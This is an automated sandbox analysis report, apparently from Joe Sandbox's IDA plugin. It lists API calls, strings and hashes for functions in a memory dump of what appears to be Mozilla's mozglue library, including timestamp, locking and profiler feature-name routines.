memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA5925C

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 52d7699a5ebc5b20f63338d3c17f83c36444484b65ba1cd5b228760edb52784e
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 5CA1D672E002168FCB14CE68CC807DDB7B6AF95314F5942B9C949EB785D730A9DACB90

Function 6CA377A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA37A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA37A93

Part of subcall function 6CA05C50: GetTickCount64.KERNEL32 ref: 6CA05D40
Part of subcall function 6CA05C50: EnterCriticalSection.KERNEL32(6CA6F688), ref: 6CA05D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA37AA1

Part of subcall function 6CA05C50: __aulldiv.LIBCMT ref: 6CA05DB4
Part of subcall function 6CA05C50: LeaveCriticalSection.KERNEL32(6CA6F688), ref: 6CA05DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CA37B31

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 5dd803dc2dcd2fa423746d45e5dd50685f145fd66acae677af1d64866932c66f
Instruction ID: 65917143f90ea0445740599772d650d1d67c6ed55b281d509beb7d398163c675
Opcode Fuzzy Hash: 5dd803dc2dcd2fa423746d45e5dd50685f145fd66acae677af1d64866932c66f
Instruction Fuzzy Hash: 14B19331A08395CBCB14CF24C56065FB7E2AFC5318F195A1CE999E7790D770E98ACB82

Function 6CA26CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA26D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA26E1E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: b7a7cfffaacd1fe56d701ccbbe71ae310aef5be7c269a63a6d2d0551b6114cce
Instruction ID: 592f51ae834aff8da28c0cf16233f63241759e744cb10106e3394738a38c6f17
Opcode Fuzzy Hash: b7a7cfffaacd1fe56d701ccbbe71ae310aef5be7c269a63a6d2d0551b6114cce
Instruction Fuzzy Hash: B1A191746193958FCB15CF24C5947AEFBF1BF88308F08891DE48A87751DB74A889CB92

Function 6CA4B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CA4B720
RtlNtStatusToDosError.NTDLL ref: 6CA4B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CA1FE3F,00000000,00000000,?,?,00000000,?,6CA1FE3F), ref: 6CA4B760

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 9f2f7db177cbe2bbe7b0b4eebe038d8af861b6e44035e003bc61b22e3a578ea1
Instruction ID: e89c50a55d30bf0fcc227cd8fb97405302242895af4a3d9ff396ebf18efa55dd
Opcode Fuzzy Hash: 9f2f7db177cbe2bbe7b0b4eebe038d8af861b6e44035e003bc61b22e3a578ea1
Instruction Fuzzy Hash: 06F022B0A0120CAEEF009BA1DC80BEFB3BCAB0831DF609229E11161AC0C77495DCC760

Function 6CA04640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CA04777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA05585, 6CA055A8, 6CA055C3, 6CA05624

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4e64dad832fec6d4244de4e05d5838798ec32bfbd9bee7e9c93c8d30f82ce171
Instruction ID: 7b2ef415fc271996debb2b1e2bd3ad8df53703bf5cf8f7a0db92cf384b371d2a
Opcode Fuzzy Hash: 4e64dad832fec6d4244de4e05d5838798ec32bfbd9bee7e9c93c8d30f82ce171
Instruction Fuzzy Hash: 8DB27C71B05A018FC308CF19D590615BBE2BFC5368F2DC7ADE46A8B6A5D771E881CB84

Function 6CA485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA48C7C
__aulldiv.LIBCMT ref: 6CA48DD7

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d234b158b30882c5c31d16d0e3037f37df51099b38fcfe34b7e49f36eed8288e
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: B2326B31F011198BDB18CE9DD8A17EEF7B2FB88700F15852AD506FB790DA389D858B91

Function 6CA4B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9F03D4,?), ref: 6CA4B955
NtQueryVirtualMemory.NTDLL ref: 6CA4B9A5

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: aeef5318a06573e709798acef7e32eb78ab0b48193a62cfd9246df244a825fb6
Instruction ID: f5e2882a10bd992a271d2473610269c5bdb2327d9f6064c2f04d23e7d7b5b055
Opcode Fuzzy Hash: aeef5318a06573e709798acef7e32eb78ab0b48193a62cfd9246df244a825fb6
Instruction Fuzzy Hash: F441B671E0161D9FDF04CFA9E980ADEB7B6EF88314F14C239E415A7B44DB3099898B90

Function 6CA25C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C9F4A63,?,?), ref: 6CA25F06

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: df052754c565df2a9b863274e3ab3b82afdbfb1f146fbe222cde35839e5f466b
Instruction ID: e1bdd2d84eac8b84e2719017410b8ef9d3aea481194cf86ea10c9c496319f081
Opcode Fuzzy Hash: df052754c565df2a9b863274e3ab3b82afdbfb1f146fbe222cde35839e5f466b
Instruction Fuzzy Hash: A1C1C275D012198BCB14CF95C5906EEBBF2FF89318F2C815DD8556BB48D735A885CB80

Function 6C9EDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 489acc2b3b76b5658ac9b5a900dab4e0f63448c17fd210a75d4bd9a77f970895
Instruction ID: f835e78d20848fc6f8c75c81dae270b9245a8fceb0cf36563df559d9984c3145
Opcode Fuzzy Hash: 489acc2b3b76b5658ac9b5a900dab4e0f63448c17fd210a75d4bd9a77f970895
Instruction Fuzzy Hash: D442C472A087518BD309CE3CC49175AF3E2BFD9364F098B2DE999A7790D734D9418B82

Function 6CA576E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a7fa0ef96557df03b6f920157b2b718ecce56f71be7b65d1df5dd21e37a2a264
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 33320871E106198FCB14CF99C890AADFBB2FF88304F688169C949E7745D731A996CF90

Function 6CA56E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0f34e4e53709fcee23e58a4c655f3137f725bc342f6155eb842e5cd1516d3199
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6822E771E102198FCB14CF99C980AADF7B2FF88304F6981A9C949E7745D731A996CF90

Function 6CA10512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d20d67723d5d537948c7897cff1c11e31ba7013f8d0291c2249d650a21cc224a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 2A222971E04669CFCB14CF98C890AADF7B2FF88304F588599D54AA7B05D731A986CF80

Function 6CA5AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d71ac0b47cb93dcfc259d7315e8a2baf2c8b9c18c5f2431004f9890f91d63fa9
Instruction ID: fd6c9e1bd3d5f907060e58911a37dfb92a7150e8b858ec7e7dc63b1030e5e582
Opcode Fuzzy Hash: d71ac0b47cb93dcfc259d7315e8a2baf2c8b9c18c5f2431004f9890f91d63fa9
Instruction Fuzzy Hash: 3CF105727087458FD700CE28C8903AAB7E2AFC5319F98C61DE8D587781E3759CD987A2

Function 6C9EC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 563b4c4fc38c6f300f86f3d276c85aab884ee6a97ebf1a1b16d675889565f67d
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 1CA1AF71F0021A8BDB09CE69C8913AEBBF2AFDC354F188169D955E7781DB349C068B90

Function 6CA27710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 063f0338c88213d5360940aa332e57bcdfd0ce17eb0bfdae2966d5255d54f79a
Instruction ID: 302ddc788f8b6ec2e49a69ce1aa50cde8fc85315f3912e907521b9317c3bc0ed
Opcode Fuzzy Hash: 063f0338c88213d5360940aa332e57bcdfd0ce17eb0bfdae2966d5255d54f79a
Instruction Fuzzy Hash: 1B716E75E012298FCB08CF99D8905EDBBB2FF89314F28816ED455AB740D735A985CB90

Function 6CA258E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 7a93e81544a2dd46cb02264547b3fb54b5ed591f60f972c96de0dd107a26e734
Instruction ID: 05ead767ee1936d9f2238c32b7fe7669f964e9937d3cf659e5b81a13b9ea1a16
Opcode Fuzzy Hash: 7a93e81544a2dd46cb02264547b3fb54b5ed591f60f972c96de0dd107a26e734
Instruction Fuzzy Hash: F8819075E012299FCB04CFADD8809EEBBF2FF89314F184269D411AB745D735A985CB90

Function 6CA2CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C9F582D), ref: 6CA2CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C9F582D), ref: 6CA2CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA5FE98,?,?,?,?,?,6C9F582D), ref: 6CA2CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C9F582D), ref: 6CA2CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C9F582D), ref: 6CA2CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C9F582D), ref: 6CA2CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9F582D), ref: 6CA2CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA2CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA2CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA2CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA2CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA2CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA2CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA2CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA2CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA2CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA2CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA2CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA2CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA2CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA2CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA2CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA2CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA2CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA2CE8A

Strings

nostacksampling, xrefs: 6CA2CD7C
ipcmessages, xrefs: 6CA2CDBE
default, xrefs: 6CA2CC21
Unrecognized feature "%s"., xrefs: 6CA2CEA0
samplingallthreads, xrefs: 6CA2CE2C
notimerresolutionchange, xrefs: 6CA2CE00
cpuallthreads, xrefs: 6CA2CE16
fileio, xrefs: 6CA2CC92
preferencereads, xrefs: 6CA2CD92
stackwalk, xrefs: 6CA2CCF8
fileioall, xrefs: 6CA2CCA8
leaf, xrefs: 6CA2CC66
screenshots, xrefs: 6CA2CCD4
nativeallocations, xrefs: 6CA2CDA8
audiocallbacktracing, xrefs: 6CA2CDD4
mainthreadio, xrefs: 6CA2CC7C
power, xrefs: 6CA2CE84
seqstyle, xrefs: 6CA2CCE6
unregisteredthreads, xrefs: 6CA2CE58
jsallocations, xrefs: 6CA2CD0E
java, xrefs: 6CA2CC37
markersallthreads, xrefs: 6CA2CE42
processcpu, xrefs: 6CA2CE6E
noiostacks, xrefs: 6CA2CCBE

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 90cd56e3a4ea25e1d6c4ea9dc8483502b54dbdf302d64058bf2fd244d7321326
Instruction ID: 367d767ee4cc03d14c8f9f3096b8b443458720366cd2a0377a92ffba7fedf9c3
Opcode Fuzzy Hash: 90cd56e3a4ea25e1d6c4ea9dc8483502b54dbdf302d64058bf2fd244d7321326
Instruction Fuzzy Hash: 6A51C7D1A4523916FB0030153E10BAA1408FF1725EF5C943AED0AA1E85FB2DE6EDC6B7

Function 6C9F47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C9F4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9F4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9F482D
__Init_thread_footer.LIBCMT ref: 6C9F484A

Part of subcall function 6CA1AB3F: EnterCriticalSection.KERNEL32(6CA6E370,?,?,6C9E3527,6CA6F6CC,?,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB49
Part of subcall function 6CA1AB3F: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E3527,6CA6F6CC,?,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1AB7C

GetCurrentThreadId.KERNEL32 ref: 6C9F485F
GetCurrentThreadId.KERNEL32 ref: 6C9F487E
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6C9F488B
free.MOZGLUE(?), ref: 6C9F493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9F4956
free.MOZGLUE(00000000), ref: 6C9F4960
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6C9F499A

Part of subcall function 6CA1AB89: EnterCriticalSection.KERNEL32(6CA6E370,?,?,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB94
Part of subcall function 6CA1AB89: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1ABD1

free.MOZGLUE(?), ref: 6C9F49C6
free.MOZGLUE(?), ref: 6C9F49E9

Part of subcall function 6CA05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA05EDB
Part of subcall function 6CA05E90: memset.VCRUNTIME140(6CA47765,000000E5,55CCCCCC), ref: 6CA05F27
Part of subcall function 6CA05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA05FB2

Strings

